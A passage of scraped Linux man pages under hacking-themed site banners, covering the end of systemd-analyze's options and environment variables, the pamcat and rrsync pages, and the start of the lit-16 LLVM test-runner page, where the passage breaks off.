With the security command, generate a JSON formatted output of the security analysis table. The format is a JSON array with objects containing the following fields: set which indicates if the setting has been enabled or not, name which is what is used to refer to the setting, json_field which is the JSON compatible identifier of the setting, description which is an outline of the setting state, and exposure which is a number in the range 0.0…10.0, where a higher value corresponds to a higher security threat. The JSON version of the table is printed to standard output. The MODE passed to the option can be one of three: off which is the default, pretty and short which respectively output a prettified or shorted JSON version of the security table. With the plot command, generate a JSON formatted output of the raw time data. The format is a JSON array with objects containing the following fields: name which is the unit name, activated which is the time after startup the service was activated, activating which is how long after startup the service was initially started, time which is how long the service took to activate from when it was initially started, deactivated which is the time after startup that the service was deactivated, deactivating which is the time after startup that the service was initially told to deactivate.

Added in version 250.

**–iterations=**NUMBER

When used with the calendar command, show the specified number of iterations the specified calendar expression will elapse next. Defaults to 1.

Added in version 242.

**–base-time=**TIMESTAMP

When used with the calendar command, show next iterations relative to the specified point in time. If not specified defaults to the current time.

Added in version 244.

**–unit=**UNIT

When used with the condition command, evaluate all the Condition*=… and Assert*=… assignments in the specified unit file. The full unit search path is formed by combining the directories for the specified unit with the usual unit load paths. The variable $SYSTEMD_UNIT_PATH is supported, and may be used to replace or augment the compiled in set of unit load paths; see systemd.unit(5). All units files present in the directory containing the specified unit will be used in preference to the other paths.

Added in version 250.

–table

When used with the plot command, the raw time data is output in a table.

Added in version 253.

–no-legend

When used with the plot command in combination with either –table or –json=, no legends or hints are included in the output.

Added in version 253.

-H, –host=

Execute the operation remotely. Specify a hostname, or a username and hostname separated by “@”, to connect to. The hostname may optionally be suffixed by a port ssh is listening on, separated by “:”, and then a container name, separated by “/”, which connects directly to a specific container on the specified host. This will use SSH to talk to the remote machine manager instance. Container names may be enumerated with machinectl -H HOST. Put IPv6 addresses in brackets.

-M, –machine=

Execute operation on a local container. Specify a container name to connect to, optionally prefixed by a user name to connect as and a separating “@” character. If the special string “.host” is used in place of the container name, a connection to the local system is made (which is useful to connect to a specific users user bus: “–user –[email protected]”). If the “@” syntax is not used, the connection is made as root user. If the “@” syntax is used either the left hand side or the right hand side may be omitted (but not both) in which case the local user name and “.host” are implied.

-q, –quiet

Suppress hints and other non-essential output.

Added in version 250.

–tldr

With cat-config, only print the “interesting” parts of the configuration files, skipping comments and empty lines and section headers followed only by comments and empty lines.

Added in version 255.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

–no-pager

Do not pipe output into a pager.

EXIT STATUS

For most commands, 0 is returned on success, and a non-zero failure code otherwise.

With the verb compare-versions, in the two-argument form, 12, 0, 11 is returned if the second version string is respectively larger, equal, or smaller to the first. In the three-argument form, 0 or 1 if the condition is respectively true or false.

ENVIRONMENT

$SYSTEMD_LOG_LEVEL

The maximum log level of emitted messages (messages with a higher log level, i.e. less important ones, will be suppressed). Takes a comma-separated list of values. A value may be either one of (in order of decreasing importance) emerg, alert, crit, err, warning, notice, info, debug, or an integer in the range 0…7. See syslog(3) for more information. Each value may optionally be prefixed with one of console, syslog, kmsg or journal followed by a colon to set the maximum log level for that specific log target (e.g. SYSTEMD_LOG_LEVEL=debug,console:info specifies to log at debug level except when logging to the console which should be at info level). Note that the global maximum log level takes priority over any per target maximum log levels.

$SYSTEMD_LOG_COLOR

A boolean. If true, messages written to the tty will be colored according to priority.

This setting is only useful when messages are written directly to the terminal, because journalctl(1) and other tools that display logs will color messages based on the log level on their own.

$SYSTEMD_LOG_TIME

A boolean. If true, console log messages will be prefixed with a timestamp.

This setting is only useful when messages are written directly to the terminal or a file, because journalctl(1) and other tools that display logs will attach timestamps based on the entry metadata on their own.

$SYSTEMD_LOG_LOCATION

A boolean. If true, messages will be prefixed with a filename and line number in the source code where the message originates.

Note that the log location is often attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TID

A boolean. If true, messages will be prefixed with the current numerical thread ID (TID).

Note that the this information is attached as metadata to journal entries anyway. Including it directly in the message text can nevertheless be convenient when debugging programs.

$SYSTEMD_LOG_TARGET

The destination for log messages. One of console (log to the attached tty), console-prefixed (log to the attached tty but with prefixes encoding the log level and “facility”, see syslog(3), kmsg (log to the kernel circular log buffer), journal (log to the journal), journal-or-kmsg (log to the journal if available, and to kmsg otherwise), auto (determine the appropriate log target automatically, the default), null (disable log output).

$SYSTEMD_LOG_RATELIMIT_KMSG

Whether to ratelimit kmsg or not. Takes a boolean. Defaults to “true”. If disabled, systemd will not ratelimit messages written to kmsg.

$SYSTEMD_PAGER

Pager to use when –no-pager is not given; overrides $PAGER. If neither $SYSTEMD_PAGER nor $PAGER are set, a set of well-known pager implementations are tried in turn, including less(1) and more(1), until one is found. If no pager implementation is discovered no pager is invoked. Setting this environment variable to an empty string or the value “cat” is equivalent to passing –no-pager.

Note: if $SYSTEMD_PAGERSECURE is not set, $SYSTEMD_PAGER (as well as $PAGER) will be silently ignored.

$SYSTEMD_LESS

Override the options passed to less (by default “FRSXMK”).

Users might want to change two options in particular:

K

This option instructs the pager to exit immediately when Ctrl+C is pressed. To allow less to handle Ctrl+C itself to switch back to the pager command prompt, unset this option.

If the value of $SYSTEMD_LESS does not include “K”, and the pager that is invoked is less, Ctrl+C will be ignored by the executable, and needs to be handled by the pager.

X

This option instructs the pager to not send termcap initialization and deinitialization strings to the terminal. It is set by default to allow command output to remain visible in the terminal even after the pager exits. Nevertheless, this prevents some pager functionality from working, in particular paged output cannot be scrolled with the mouse.

Note that setting the regular $LESS environment variable has no effect for less invocations by systemd tools.

See less(1) for more discussion.

$SYSTEMD_LESSCHARSET

Override the charset passed to less (by default “utf-8”, if the invoking terminal is determined to be UTF-8 compatible).

Note that setting the regular $LESSCHARSET environment variable has no effect for less invocations by systemd tools.

$SYSTEMD_PAGERSECURE

Takes a boolean argument. When true, the “secure” mode of the pager is enabled; if false, disabled. If $SYSTEMD_PAGERSECURE is not set at all, secure mode is enabled if the effective UID is not the same as the owner of the login session, see geteuid(2) and sd_pid_get_owner_uid(3). In secure mode, LESSSECURE=1 will be set when invoking the pager, and the pager shall disable commands that open or create new files or start new subprocesses. When $SYSTEMD_PAGERSECURE is not set at all, pagers which are not known to implement secure mode will not be used. (Currently only less(1) implements secure mode.)

Note: when commands are invoked with elevated privileges, for example under sudo(8) or pkexec(1), care must be taken to ensure that unintended interactive features are not enabled. “Secure” mode for the pager may be enabled automatically as describe above. Setting SYSTEMD_PAGERSECURE=0 or not removing it from the inherited environment allows the user to invoke arbitrary commands. Note that if the $SYSTEMD_PAGER or $PAGER variables are to be honoured, $SYSTEMD_PAGERSECURE must be set too. It might be reasonable to completely disable the pager using –no-pager instead.

$SYSTEMD_COLORS

Takes a boolean argument. When true, systemd and related utilities will use colors in their output, otherwise the output will be monochrome. Additionally, the variable can take one of the following special values: “16”, “256” to restrict the use of colors to the base 16 or 256 ANSI colors, respectively. This can be specified to override the automatic decision based on $TERM and what the console is connected to.

$SYSTEMD_URLIFY

The value must be a boolean. Controls whether clickable links should be generated in the output for terminal emulators supporting this. This can be specified to override the decision that systemd makes based on $TERM and other conditions.

EXAMPLES

Example 27. JSON Policy

The JSON file passed as a path parameter to –security-policy= has a top-level JSON object, with keys being the assessment test identifiers mentioned above. The values in the file should be JSON objects with one or more of the following fields: description_na (string), description_good (string), description_bad (string), weight (unsigned integer), and range (unsigned integer). If any of these fields corresponding to a specific id of the unit file is missing from the JSON object, the default built-in field value corresponding to that same id is used for security analysis as default. The weight and range fields are used in determining the overall exposure level of the unit files: the value of each setting is assigned a badness score, which is multiplied by the policy weight and divided by the policy range to determine the overall exposure that the setting implies. The computed badness is summed across all settings in the unit file, normalized to the 1…100 range, and used to determine the overall exposure level of the unit. By allowing users to manipulate these fields, the security verb gives them the option to decide for themself which ids are more important and hence should have a greater effect on the exposure level. A weight of “0” means the setting will not be checked.

{ “PrivateDevices”: { “description_good”: “Service has no access to hardware devices”, “description_bad”: “Service potentially has access to hardware devices”, “weight”: 1000, “range”: 1 }, “PrivateMounts”: { “description_good”: “Service cannot install system mounts”, “description_bad”: “Service may install system mounts”, “weight”: 1000, “range”: 1 }, “PrivateNetwork”: { “description_good”: “Service has no access to the hosts network”, “description_bad”: “Service has access to the hosts network”, “weight”: 2500, “range”: 1 }, “PrivateTmp”: { “description_good”: “Service has no access to other softwares temporary files”, “description_bad”: “Service has access to other softwares temporary files”, “weight”: 1000, “range”: 1 }, “PrivateUsers”: { “description_good”: “Service does not have access to other users”, “description_bad”: “Service has access to other users”, “weight”: 1000, “range”: 1 } }

SEE ALSO

systemd(1), systemctl(1)

NOTES

Packaging Metadata

https://systemd.io/COREDUMP_PACKAGE_METADATA/

Discoverable Partitions Specification

https://uapi-group.org/specifications/specs/discoverable_partitions_specification

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

216 - Linux cli command pamcat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamcat and provides detailed information about the command pamcat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamcat.

.

NAME 🖥️ pamcat 🖥️

concatenate Netpbm images

SYNOPSIS

pamcat

{-leftright | -lr | -topbottom | -tb}

[-white|-black]

[-jtop|-jbottom|-jcenter] [-jleft|-jright|-jcenter]

[netpbmfile … | -listfile={filename|-}]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pamcat reads one or more Netpbm images as input, concatenates them either left to right or top to bottom, and produces a single Netpbm image as output.

Options -leftright and -topbottom determine the direction of the concatenation.

The images do not have to be the same shape: You can concatenate images of different widths top to bottom and of different heights left to right. You can concatenate images of different depths (numbers of planes). You can concatenate a PBM image with a PPM image. Et cetera.

The format of the output image is the highest of the formats of the input images, in the order PBM, PGM, PPM, PAM.

For PAM output, if all of the input images have the same tuple type (including implied tuple types of PNM images), that is the tuple type of the output. If the inputs differ, but are all visual tuple types, the output’s tuple type is the most primitive that can represent all the input. E.g. if inputs are GRAYSCALE and RGB, the output is RGB, and if the inputs are GRAYSCALE_ALPHA and RGB, the output is RGB_ALPHA. If the inputs differ and are not all visual, the output tuple type is a null string.

When the output is PAM, its depth is the maximum of the depths of the inputs (including implied depths of PNM images), but at least enough to represent the tuple type specified above. In the case of nonvisual PAM output, input images are padded to this output depth with higher numbered planes of all zeroes.

Where the input images are of different widths and you concatenate top to bottom, pamcat generates output as wide as the widest of the inputs and pads the narrower ones. The images can be justified either left, right, or center within this padded field. Use options -jleft, -jright, and -jcenter to control this.

Similarly, where the input images are of different heights and you concatenate left to right, pamcat generates output as tall as the tallest of the inputs and pads the shorter ones. The images can be justified either top, bottom, or center within this padded field. Use options -jtop, -jbottom, and -jcenter to control this.

You can make the padding black or white or let pamcat determine a likely background color, with possibly different colored padding for each input image. Control this with the -black and -white options.

Where the output image contains transparency information (because at least one of the input images does), the padding is opaque. (That is consistent with the result for an output image without transparency information, because such an image is defined to be opaque).

The arguments are names of input files. Any one of these, but not more than one, may be “-” to indicate Standard Input. If you have no arguments (and do not specify -listfile), that means a single input image from Standard Input (and that is pointless - the output is the same as the input). You can supply the file names in a file instead of as arguments with a -listfile option.

Regardless of how you specify the input files, you may not concatenate more files than your system’s limit on the number of concurrently open files by one process. 16 is a typical number for that.

To assemble a regular grid of images, you can use pamundice.

To do the reverse, you might use pamdice to split an image up into smaller ones of equal size or pamcut to chop off part of an image or extract part of an image.

pnmtile concatenates a single input image to itself repeatedly.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamcat recognizes the following command line options:

Direction

-topbottom, -tb
Combine images vertically, top to bottom.

-leftright, -lr
Combine images horizontally, left to right.

You must specify the direction by specifying one of the above. You cannot specify both.

Justification

-jleft
Left-justify images in a top-bottom concatenation.

You cannot specify this with -jright

This option is invalid in a left-right concatenation.

-jright
Right-justify images in a top-bottom concatenation.

You cannot specify this with -jleft

This option is invalid in a left-right concatenation.

-jtop
Top-justify images in a left-right concatenation.

You cannot specify this with -jbottom

This option is invalid in a top-bottom concatenation.

-jbottom
Bottom-justify images in a left-right concatenation.

You cannot specify this with -jtop

This option is invalid in a top-bottom concatenation.

-jcenter
Center images (valid for both left-right and top-bottom concatenations). This is the default.

By default, pamcat centers the smaller images. -topbottom -jleft would stack the images on top of each other, flush with the left edge. -leftright -jbottom would line up the images left to right with their bottom edges aligned as if sitting on a table.

Padding Color

These options specify what color to use to fill in the extra space when doing the justification. If neither is specified, pamcat chooses whichever color seems to be right for the images, and the color may be different for each image.

-white
Make all padding white.

You may not specify this with -black

-black
Make all padding black.

You may not specify this with -white

Miscellaneous

-listfile={filename|-}
This specifies the name of a file that contains the list of input files. Option value - means the list comes from Standard Input.

The file contains one file name per newline-delimited line in whatever code the system fopen service expects. You may omit the newline on the last line. Empty lines are ignored. There is no mechanism for including comments in the list (so if you want to have a commented list, preprocess it to remove comments before supplying it to pamcat).

You may not specify file names as command line arguments together with -listfile

You may not list more files than than your system’s limit on the number of concurrently open files by one process. 16 is a typical number for that.

This option was new in Netpbm 11.01 (December 2022).

SEE ALSO

pamundice(1) , pamdice(1) , pnmtile(1) , pamcut(1) , pnm(1) , pam(1)

HISTORY

pamcat was new in Netpbm 11.00 (September 2022); in earlier versions, pnmcat does most of the same thing.

Primordial Netpbm/Pbmplus contained concatenation tools, but there were two of them: pbmcatlr for left-right concatenation of PBM images and pbmcattb for top-bottom concatenation. When the PGM and PPM formats were added, these programs were combined and extended to handle all three formats, as pnmcat. All of this work was done by Pbmplus author Jef Poskanzer.

In Netpbm 10.44 (September 2008), Akira F Urushibata added special fast processing for raw PBM images, exploiting bitstring processing CPU facilities.

pnmcat was one of the most essential programs in Netpbm, but one thing it could not concatenate was PAM images with transparency. So in Netpbm 11.00 (September 2022), Bryan Henderson wrote pamcat to replace it. It reused the raw PBM fast path code from pnmcat almost verbatim.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamcat.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

217 - Linux cli command rrsync

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rrsync and provides detailed information about the command rrsync, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rrsync.

NAME 🖥️ rrsync 🖥️

a script to setup restricted rsync users via ssh logins

SYNOPSIS

rrsync [-ro|-rw] [-munge] [-no-del] [-no-lock] [-no-overwrite]  DIR

The single non-option argument specifies the restricted DIR to use. It can be relative to the user’s home directory or an absolute path.

The online version of this manpage (that includes cross-linking of topics) is available at .

DESCRIPTION

A user’s ssh login can be restricted to only allow the running of an rsync transfer in one of two easy ways:

  1. forcing the running of the rrsync script

  2. forcing the running of an rsync daemon-over-ssh command.

Both of these setups use a feature of ssh that allows a command to be forced to run instead of an interactive shell. However, if the user’s home shell is bash, please see BASH SECURITY ISSUE for a potential issue.

To use the rrsync script, edit the user’s ~/.ssh/authorized_keys file and add a prefix like one of the following (followed by a space) in front of each ssh-key line that should be restricted:

command=“rrsync DIR” command=“rrsync -ro DIR” command=“rrsync -munge -no-del DIR”

Then, ensure that the rrsync script has your desired option restrictions. You may want to copy the script to a local bin dir with a unique name if you want to have multiple configurations. One or more rrsync options can be specified prior to the DIR if you want to further restrict the transfer.

To use an rsync daemon setup, edit the user’s ~/.ssh/authorized_keys file and add a prefix like one of the following (followed by a space) in front of each ssh-key line that should be restricted:

command=“rsync –server –daemon .” command=“rsync –server –daemon –config=/PATH/TO/rsyncd.conf .”

Then, ensure that the rsyncd.conf file is created with one or more module names with the appropriate path and option restrictions. If rsync’s –config option is omitted, it defaults to ~/rsyncd.conf. See the rsyncd.conf(5) manpage for details of how to configure an rsync daemon.

When using rrsync, there can be just one restricted dir per authorized key. A daemon setup, on the other hand, allows multiple module names inside the config file, each one with its own path setting.

The remainder of this manpage is dedicated to using the rrsync script.

OPTIONS

-ro
Allow only reading from the DIR. Implies -no-del and -no-lock.

-wo
Allow only writing to the DIR.

-munge
Enable rsync’s –munge-links on the server side.

-no-del
Disable rsync’s –delete* and –remove* options.

-no-lock
Avoid the single-run (per-user) lock check. Useful with -munge.

-no-overwrite
Enforce –ignore-existing on the server. Prevents overwriting existing files when the server is the receiver.

-help, -h
Output this help message and exit.

SECURITY RESTRICTIONS

The rrsync script validates the path arguments it is sent to try to restrict them to staying within the specified DIR.

The rrsync script rejects rsync’s –copy-links option (by default) so that a copy cannot dereference a symlink within the DIR to get to a file outside the DIR.

The rrsync script rejects rsync’s –protect-args (-s) option because it would allow options to be sent to the server-side that the script cannot check. If you want to support –protect-args, use a daemon-over-ssh setup.

The rrsync script accepts just a subset of rsync’s options that the real rsync uses when running the server command. A few extra convenience options are also included to help it to interact with BackupPC and accept some convenient user overrides.

The script (or a copy of it) can be manually edited if you want it to customize the option handling.

BASH SECURITY ISSUE

If your users have bash set as their home shell, bash may try to be overly helpful and ensure that the user’s login bashrc files are run prior to executing the forced command. This can be a problem if the user can somehow update their home bashrc files, perhaps via the restricted copy, a shared home directory, or something similar.

One simple way to avoid the issue is to switch the user to a simpler shell, such as dash. When choosing the new home shell, make sure that you’re not choosing bash in disguise, as it is unclear if it avoids the security issue.

Another potential fix is to ensure that the user’s home directory is not a shared mount and that they have no means of copying files outside of their restricted directories. This may require you to force the enabling of symlink munging on the server side.

A future version of openssh may have a change to the handling of forced commands that allows it to avoid using the user’s home shell.

EXAMPLES

The ~/.ssh/authorized_keys file might have lines in it like this:

command=“rrsync client/logs” ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAzG… command=“rrsync -ro results” ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEAmk…

FILES

~/.ssh/authorized_keys

SEE ALSO

rsync(1), rsyncd.conf(5)

VERSION

This manpage is current for version 3.3.0 of rsync.

CREDITS

rsync is distributed under the GNU General Public License. See the file COPYING for details.

An rsync web site is available at and its github project is .

AUTHOR

The original rrsync perl script was written by Joe Smith. Many people have later contributed to it. The python version was created by Wayne Davison.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

218 - Linux cli command lit-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lit-16 and provides detailed information about the command lit-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lit-16.

NAME 🖥️ lit-16 🖥️

LLVM Integrated Tester

SYNOPSIS

lit [options] [tests]

DESCRIPTION

lit is a portable tool for executing LLVM and Clang style test suites, summarizing their results, and providing indication of failures. lit is designed to be a lightweight testing tool with as simple a user interface as possible.

lit should be run with one or more tests to run specified on the command line. Tests can be either individual test files or directories to search for tests (see TEST DISCOVERY).

Each specified test will be executed (potentially concurrently) and once all tests have been run lit will print summary information on the number of tests which passed or failed (see TEST STATUS RESULTS). The lit program will execute with a non-zero exit code if any tests fail.

By default lit will use a succinct progress display and will only print summary information for test failures. See OUTPUT OPTIONS for options controlling the lit progress display and output.

lit also includes a number of options for controlling how tests are executed (specific features may depend on the particular test format). See EXECUTION OPTIONS for more information.

Finally, lit also supports additional options for only running a subset of the options specified on the command line, see SELECTION OPTIONS for more information.

lit parses options from the environment variable LIT_OPTS after parsing options from the command line. LIT_OPTS is primarily useful for supplementing or overriding the command-line options supplied to lit by check targets defined by a project’s build system.

lit can also read options from response files which are specified as inputs using the @path/to/file.rsp syntax. Arguments read from a file must be one per line and are treated as if they were in the same place as the original file referencing argument on the command line. A response file can reference other response files.

Users interested in the lit architecture or designing a lit testing implementation should see LIT INFRASTRUCTURE.

GENERAL OPTIONS

-h, –help
Show the lit help message.

-j N, –workers=N
Run N tests in parallel. By default, this is automatically chosen to match the number of detected available CPUs.

–config-prefix=NAME
Search for NAME**.cfg** and NAME**.site.cfg** when searching for test suites, instead of lit.cfg and lit.site.cfg.

-D NAME[=VALUE], –param NAME[=VALUE]
Add a user defined parameter NAME with the given VALUE (or the empty string if not given). The meaning and use of these parameters is test suite dependent.

OUTPUT OPTIONS

-q, –quiet
Suppress any output except for test failures.

-s, –succinct
Show less output, for example don’t show information on tests that pass. Also show a progress bar, unless –no-progress-bar is specified.

-v, –verbose
Show more information on test failures, for example the entire test output instead of just the test result.

-vv, –echo-all-commands
Echo all commands to stdout, as they are being executed. This can be valuable for debugging test failures, as the last echoed command will be the one which has failed. lit normally inserts a no-op command (: in the case of bash) with argument ‘RUN: at line N’ before each command pipeline, and this option also causes those no-op commands to be echoed to stdout to help you locate the source line of the failed command. This option implies –verbose.

-a, –show-all
Show more information about all tests, for example the entire test commandline and output.

–no-progress-bar
Do not use curses based progress bar.

–show-unsupported
Show the names of unsupported tests.

–show-xfail
Show the names of tests that were expected to fail.

EXECUTION OPTIONS

–path=PATH
Specify an additional PATH to use when searching for executables in tests.

–vg
Run individual tests under valgrind (using the memcheck tool). The –error-exitcode argument for valgrind is used so that valgrind failures will cause the program to exit with a non-zero status.

When this option is enabled, lit will also automatically provide a “valgrind” feature that can be used to conditionally disable (or expect failure in) certain tests.

–vg-arg=ARG
When –vg is used, specify an additional argument to pass to valgrind itself.

–vg-leak
When –vg is used, enable memory leak checks. When this option is enabled, lit will also automatically provide a “vg_leak” feature that can be used to conditionally disable (or expect failure in) certain tests.

–time-tests
Track the wall time individual tests take to execute and includes the results in the summary output. This is useful for determining which tests in a test suite take the most time to execute.

–ignore-fail
Exit with status zero even if some tests fail.

–no-indirectly-run-check
Do not error if a test would not be run if the user had specified the containing directory instead of naming the test directly.

SELECTION OPTIONS

By default, lit will run failing tests first, then run tests in descending execution time order to optimize concurrency. The execution order can be changed using the –order option.

The timing data is stored in the test_exec_root in a file named .lit_test_times.txt. If this file does not exist, then lit checks the test_source_root for the file to optionally accelerate clean builds.

–shuffle
Run the tests in a random order, not failing/slowest first. Deprecated, use –order instead.

–max-failures N
Stop execution after the given number N of failures. An integer argument should be passed on the command line prior to execution.

–max-tests=N
Run at most N tests and then terminate.

–max-time=N
Spend at most N seconds (approximately) running tests and then terminate. Note that this is not an alias for –timeout; the two are different kinds of maximums.

–num-shards=M
Divide the set of selected tests into M equal-sized subsets or “shards”, and run only one of them. Must be used with the –run-shard=N option, which selects the shard to run. The environment variable LIT_NUM_SHARDS can also be used in place of this option. These two options provide a coarse mechanism for partitioning large testsuites, for parallel execution on separate machines (say in a large testing farm).

–order={lexical,random,smart}
Define the order in which tests are run. The supported values are:

  • lexical - tests will be run in lexical order according to the test file path. This option is useful when predictable test order is desired.

  • random - tests will be run in random order.

  • smart - tests that failed previously will be run first, then the remaining tests, all in descending execution time order. This is the default as it optimizes concurrency.

–run-shard=N
Select which shard to run, assuming the –num-shards=M option was provided. The two options must be used together, and the value of N must be in the range 1..M. The environment variable LIT_RUN_SHARD can also be used in place of this option.

–timeout=N
Spend at most N seconds (approximately) running each individual test. 0 means no time limit, and 0 is the default. Note that this is not an alias for –max-time; the two are different kinds of maximums.

–filter=REGEXP
Run only those tests whose name matches the regular expression specified in REGEXP. The environment variable LIT_FILTER can be also used in place of this option, which is especially useful in environments where the call to lit is issued indirectly.

–filter-out=REGEXP
Filter out those tests whose name matches the regular expression specified in REGEXP. The environment variable LIT_FILTER_OUT can be also used in place of this option, which is especially useful in environments where the call to lit is issued indirectly.

–xfail=LIST
Treat those tests whose name is in the semicolon separated list LIST as XFAIL. This can be helpful when one does not want to modify the test suite. The environment variable LIT_XFAIL can be also used in place of this option, which is especially useful in environments where the call to lit is issued indirectly.

A test name can specified as a file name relative to the test suite directory. For example:

LIT_XFAIL=“affinity/kmp-hw-subset.c;offloading/memory_manager.cpp”

In this case, all of the following tests are treated as XFAIL:

libomp :: affinity/kmp-hw-subset.c libomptarget :: nvptx64-nvidia-cuda :: offloading/memory_manager.cpp libomptarget :: x86_64-pc-linux-gnu :: offloading/memory_manager.cpp

Alternatively, a test name can be specified as the full test name reported in LIT output. For example, we can adjust the previous example not to treat the nvptx64-nvidia-cuda version of offloading/memory_manager.cpp as XFAIL:

LIT_XFAIL=“affinity/kmp-hw-subset.c;libomptarget :: x86_64-pc-linux-gnu :: offloading/memory_manager.cpp”

–xfail-not=LIST
Do not treat the specified tests as XFAIL. The environment variable LIT_XFAIL_NOT can also be used in place of this option. The syntax is the same as for –xfail and LIT_XFAIL. –xfail-not and LIT_XFAIL_NOT always override all other XFAIL specifications, including an –xfail appearing later on the command line. The primary purpose is to suppress an XPASS result without modifying a test case that uses the XFAIL directive.

ADDITIONAL OPTIONS

–debug
Run lit in debug mode, for debugging configuration issues and lit itself.

–show-suites
List the discovered test suites and exit.

–show-tests
List all of the discovered tests and exit.

EXIT STATUS

lit will exit with an exit code of 1 if there are any FAIL or XPASS results. Otherwise, it will exit with the status 0. Other exit codes are used for non-test related failures (for example a user error or an internal program error).

TEST DISCOVERY

The inputs passed to lit can be either individual tests, or entire directories or hierarchies of tests to run. When lit starts up, the first thing it does is convert the inputs into a complete list of tests to run as part of test discovery.

In the lit model, every test must exist inside some test suite. lit resolves the inputs specified on the command line to test suites by searching upwards from the input path until it finds a lit.cfg or lit.site.cfg file. These files serve as both a marker of test suites and as configuration files which lit loads in order to understand how to find and run the tests inside the test suite.

Once lit has mapped the inputs into test suites it traverses the list of inputs adding tests for individual files and recursively searching for tests in directories.

This behavior makes it easy to specify a subset of tests to run, while still allowing the test suite configuration to control exactly how tests are interpreted. In addition, lit always identifies tests by the test suite they are in, and their relative path inside the test suite. For appropriately configured projects, this allows lit to provide convenient and flexible support for out-of-tree builds.

TEST STATUS RESULTS

Each test ultimately produces one of the following eight results:

PASS

The test succeeded.

FLAKYPASS

The test succeeded after being re-run more than once. This only applies to tests containing an ALLOW_RETRIES: annotation.

XFAIL

The test failed, but that is expected. This is used for test formats which allow specifying that a test does not currently work, but wish to leave it in the test suite.

XPASS

The test succeeded, but it was expected to fail. This is used for tests which were specified as expected to fail, but are now succeeding (generally because the feature they test was broken and has been fixed).

FAIL

The test failed.

UNRESOLVED

The test result could not be determined. For example, this occurs when the test could not be run, the test itself is invalid, or the test was interrupted.

UNSUPPORTED

The test is not supported in this environment. This is used by test formats which can report unsupported tests.

TIMEOUT

The test was run, but it timed out before it was able to complete. This is considered a failure.

Depending on the test format tests may produce additional information about their status (generally only for failures). See the OUTPUT OPTIONS section for more information.

LIT INFRASTRUCTURE

This section describes the lit testing architecture for users interested in creating a new lit testing implementation, or extending an existing one.

lit proper is primarily an infrastructure for discovering and running arbitrary tests, and to expose a single convenient interface to these tests. lit itself doesn’t know how to run tests, rather this logic is defined by test suites.

TEST SUITES

